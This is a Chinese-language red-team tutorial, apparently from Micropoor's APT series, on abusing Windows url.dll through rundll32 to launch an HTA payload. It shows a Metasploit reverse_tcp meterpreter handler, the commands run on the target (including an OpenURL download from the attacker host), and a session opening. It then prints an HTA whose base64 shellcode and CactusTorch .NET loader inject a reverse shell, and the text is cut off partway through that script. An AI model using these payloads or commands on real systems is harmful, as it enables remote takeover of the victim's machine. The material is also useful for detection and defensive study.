专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Url.dll简介：

url.dll是Internet快捷壳扩展相关应用程序接口系统文件。

说明：url.dll所在路径已被系统添加PATH环境变量中，因此，url.dll命令可识别，但由于为dll文件，需调用rundll32.exe来执行。

Windows 2003 默认位置：

C:\Windows\System32\url.dll

C:\Windows\SysWOW64\url.dll

Windows 7 默认位置：

C:\Windows\System32\url.dll

C:\Windows\SysWOW64\url.dll

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7配置攻击机msf：

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 msf exploit(multi/handler) > exploit 26

27 [\*] Started reverse TCP handler on 192.168.1.4:53 28

靶机执行：

1 rundll32.exe url.dll,FileProtocolHandler file://C:\Users\John\Desktop \Micropoor\_url\_dll.hta

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (179779 bytes) to 192.168.1.3

5 [\*] Meterpreter session 5 opened (192.168.1.4:53 ‐> 192.168.1.3:5018) at 2019‐01‐21 04:41:43 ‐0500

6

7 meterpreter > getuid

8 Server username: John‐PC\John

9 meterpreter > getpid

10 Current pid: 8584 11

同样可以调用url.dll下载payload：

1 rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor\_url\_dll.hta

附录：Micropoor\_url\_dll.hta

1 <script language="VBScript"> 2

3 Dim binary : binary = "rundll32.exe" 4

5

6 Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMH PDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7 fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfV GhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1Z dqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmo AaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8M JA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U="

7

8

9 Sub Debug(s)

10 End Sub

11 Sub SetVersion

12 End Sub

13 Function Base64ToStream(b)

14 Dim enc, length, ba, transform, ms

15 Set enc = CreateObject("System.Text.ASCIIEncoding")

16 length = enc.GetByteCount\_2(b)

17 Set transform = CreateObject("System.Security.Cryptography.FromBase64 Transform")

18 Set ms = CreateObject("System.IO.MemoryStream")

19 ms.Write transform.TransformFinalBlock(enc.GetBytes\_4(b), 0, length), 0, ((length / 4) \* 3)

20 ms.Position = 0

21 Set Base64ToStream = ms

22 End Function 23

24 Sub Run

25 Dim s, entry\_class

26 s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0a W9uSG9sZGVy"

27 s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnY XRlU2VyaWFsaXph"

28 s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhb Gl6YXRpb25Ib2xk"

29 s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib 2xkZXIJAgAAAAkD"

30 s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZ GVyK0RlbGVnYXRl"

31 s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3Nlb WJseQ50YXJnZXRU"

32 s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3Rlb S5EZWxlZ2F0ZVNl"

33 s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5Sd W50aW1lLlJlbW90"

34 s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlc nNpb249Mi4wLjAu"

35 s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5M zRlMDg5BgcAAAAH"

36 s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY 0ludm9rZQoEAwAA"

37 s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ 2F0ZQd0YXJnZXQw"

38 s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlc itEZWxlZ2F0ZUVu"

39 s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvb khvbGRlcgkLAAAA"

40 s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZ XJpYWxpemF0aW9u"

41 s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0d XJlCk1lbWJlclR5"

42 s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAAC QYAAAAJCQAAAAYR"

43 s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W 10pCAAAAAoBCwAA"

44 s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTA AAATVN5c3RlbS5Y"

45 s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZ XlUb2tlbj1iNzdh"

46 s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZ mxlY3Rpb24uQXNz"

47 s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAA AAAAABAAAAAAAAA"

48 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMz SFUaGlzIHByb2dy"

49 s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMA QMAkNhXWQAAAAAA"

50 s = s & "AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACA AAEAAAAAAAAAAQA"

51 s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAA AAAAAAAAAAAIDUA"

52 s = s & "AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA"

53 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAII AAASAAAAAAAAAAA"

54 s = s & "AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc 3JjAAAAkAMAAABA"

55 s = s & "AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAA AAcAAAAAAAAAAAA"

56 s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAK BMAAAEAAAAAAAAA"

57 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAHgIoDwAACioT"

58 s = s & "MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAc BMEcgMAAHAoEgAA"

59 s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQ QAAcAMoFAAAChME"

60 s = s & "EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAA AosbhEFFnMRAAAK"

61 s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWE wcSCAaOaSgRAAAK"

62 s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmK noCfhUAAAp9AgAA"

63 s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEA n4VAAAKfSwAAAQC"

64 s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+F QAACn07AAAEAigP"

65 s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAA AUAbAAAACgHAAAj"

66 s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHV UlEAAAATBEAANwB"

67 s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAA FAAAAAJAAAAHwAA"

68 s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAA AAGAFwFkgcGAMkF"

69 s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGA JUF4QYGAMkE4QYG"

70 s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIq QYGAFkHqQYGAL4I"

71 s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQA PgHAAA9AAEACAAK"

72 s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAAB gcAAD0AKgAJAAIB"

73 s = s & "AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGA HQIPwAGAOcDPwAG"

74 s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAA wFWgFMCAwFWgPEB"

75 s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWg E0CAwFWgDECAwFW"

76 s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBA wFWgKgAAwFWgDoD"

77 s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGA KYD+gAGAO8DPwAG"

78 s = s & "ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+ gAGAOQE+gAGAC4I"

79 s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWg N4CDgFWgO8ADgFW"

80 s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAE gFWgFcAEgFWgNUA"

81 s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWg DkGEgEAAAAAgACW"

82 s = s & "IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIP wEVAAAAAACAAJEg"

83 s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGA CAAjCEAAAAAhhg+"

84 s = s & "BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAv AgAAAgAHAkBAAkA"

85 s = s & "BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAA AIAfQgAAAMAIQcA"

86 s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAl QgAAAUAKAcAAAYA"

87 s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxA D4HEAA5AD4HEABB"

88 s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HB gB5AD4HBgCZAFMG"

89 s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxA C8JRgC5AAoGTAAJ"

90 s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAf QAJAEQAggAJAEgA"

91 s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJA GgArwAJAGwAtAAJ"

92 s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3 AAJAJAA4QAJAJQA"

93 s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJA AQB4QAJAAgB9QAJ"

94 s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBX wAJADABZAAJADQB"

95 s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuA CsAhwEuADMAmAEu"

96 s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAn gGjAHMAWgDDAHMA"

97 s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJA GMIAQAAAQsA1AMB"

98 s = s & "AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAA gAEAAIABQACAAYA"

99 s = s & "AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwU mVzZXJ2ZWQyADxN"

100 s = s & "b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9K T0IARVhFQ1VURV9S"

101 s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRf RU5EAERVUExJQ0FU"

102 s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVB VEVfTkVXX0NPTlNP"

103 s = s & "TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RP UkNIAFdSSVRFX1dB"

104 s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9D T0RFX0FVVEhaX0xF"

105 s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09X X1ZETQBQUk9DRVNT"

106 s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVX X1BST0NFU1NfR1JP"

107 s = s & "VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENS RUFURV9GT1JDRURP"

108 s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNT AEhJR0hfUFJJT1JJ"

109 s = s & "VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05P Uk1BTF9QUklPUklU"

110 s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNI RURfUFJPQ0VTUwBD"

111 s = s & "UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19P TkxZX1RISVNfUFJP"

112 s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVM VABDUkVBVEVfVU5J"

113 s = s & "Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5U AENSRUFURV9OT19X"

114 s = s & "SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRf UEFSRU5UX0FGRklO"

115 s = s & "SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1z Y29ybGliAGxwVGhy"

116 s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJl YWQAaFRocmVhZABs"

117 s = s & "cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxw SGFuZGxlAGJJbmhl"

118 s = s & "cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBD b21tYW5kTGluZQBW"

119 s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVn Z2FibGVBdHRyaWJ1"

120 s = s & "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRl AEFzc2VtYmx5VHJh"

121 s = s & "ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVW ZXJzaW9uQXR0cmli"

122 s = s & "dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURl c2NyaXB0aW9uQXR0"

123 s = s & "cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNB dHRyaWJ1dGUAQXNz"

124 s = s & "ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmli dXRlAEFzc2VtYmx5"

125 s = s & "Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0 ZQBkd1hTaXplAGR3"

126 s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmll cmZsYWcATk9DQUNI"

127 s = s & "RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9t QmFzZTY0U3RyaW5n"

128 s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJu ZWwzMi5kbGwAQ0FD"

129 s = s & "VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0 ZW4AbHBQcm9jZXNz"

130 s = s & "SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlv bgBscFN0YXJ0dXBJ"

131 s = s & "bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJy b3IALmN0b3IAbHBT"

132 s = s & "ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBT eXN0ZW0uUnVudGlt"

133 s = s & "ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2 aWNlcwBEZWJ1Z2dp"

134 s = s & "bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxw UHJvY2Vzc0F0dHJp"

135 s = s & "YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVh dGVQcm9jZXNzRmxh"

136 s = s & "Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZ Q291bnRDaGFycwBU"

137 s = s & "ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRy ZXNzAGxwU3RhcnRB"

138 s = s & "ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQA Q29udmVydABoU3Rk"

139 s = s & "SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABi aW5hcnkAV3JpdGVQ"

140 s = s & "cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBv cF9JbmVxdWFsaXR5"

141 s = s & "AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQBy AAAVXABTAHkAcwBX"

142 s = s & "AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLq xE+aSSAzLsphXgAE"

143 s = s & "IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUO BAABDg4DIAAIBgAD"

144 s = s & "Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAA AAQIAAAABBAAAAAE"

145 s = s & "IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAE AEAAAAQAgAAABAAA"

146 s = s & "AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAA AAgEAAAAEAQAAAAg"

147 s = s & "BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESAD BhEkEwAKGA4OEgwS"

148 s = s & "DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJ GBgJGAUgAgEODggB"

149 s = s & "AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAA AAAQAQALQ0FDVFVT"

150 s = s & "VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5 Mi1hZjMzN2FiZTU3"

151 s = s & "NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

152 s = s & "AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8l ACAAEAAAAAAAAAAA"

153 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

154 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

155 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAA AAAAAAAAAAEAAQAA"

156 s = s & "ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAA NAM0AAAAVgBTAF8A"

157 s = s & "VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAA AAEAAAAAAD8AAAAA"

158 s = s & "AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkA bgBmAG8AAAAAACQA"

159 s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdABy AGkAbgBnAEYAaQBs"

160 s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMA bwBtAG0AZQBuAHQA"

161 s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBu AHkATgBhAG0AZQAA"

162 s = s & "AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAA AABDAEEAQwBUAFUA"

163 s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAA ADEALgAwAC4AMAAu"

164 s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQA VQBTAFQATwBSAEMA"

165 s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0 AAAAQwBBAEMAVABV"

166 s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEA cgBrAHMAAAAAAAAA"

167 s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBB AEMAVABVAFMAVABP"

168 s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUA AAAAAEMAQQBDAFQA"

169 s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBp AG8AbgAAADEALgAw"

170 s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkA bwBuAAAAMQAuADAA"

171 s = s & "LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

172 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

173 s = s & "AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

174 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

175 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

176 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

177 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

178 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

179 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

180 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

181 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA"

182 s = s & "AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0 ZW0uUmVmbGVjdGlv"

183 s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"

184 entry\_class = "cactusTorch" 185

186 Dim fmt, al, d, o

